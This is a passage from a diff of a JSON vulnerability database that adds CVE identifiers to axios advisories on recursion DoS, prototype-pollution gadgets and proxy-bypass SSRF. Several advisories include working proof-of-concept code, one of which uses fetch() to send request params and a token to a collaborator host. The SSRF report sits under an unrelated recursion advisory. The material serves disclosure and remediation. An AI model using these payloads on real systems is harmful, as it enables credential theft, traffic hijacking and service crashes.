the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n throw new AxiosError(\n 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i < depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n
\nOriginal Report\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": <8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n
", "info": [ @@ -8674,7 +8692,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) => {\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n res.writeHead(200, {'content-type': 'application/json'});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve => server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n
\nOriginal Report\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) => {\n fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n
", "info": [ @@ -9346,7 +9367,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n
\nOriginal Report\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n → isLoopback (line 44) — wraps both checks, returns false\n → shouldBypassProxy (line 127) — PUBLIC API, exported default\n → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/'); // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::]:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === '0.0.0.0') return true; // ADD THIS LINE\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every(p => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === '::1' || host === '::') return true; // ADD '::'\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios", "info": [ @@ -9368,7 +9392,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options && options.encode) || encode;\nconst serializeFn = _options && _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true\n});\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored' }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) => server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n
\nOriginal Report\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own('auth');\n if (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options && options.encode) || encode;\n const _options = utils.isFunction(options)\n ? 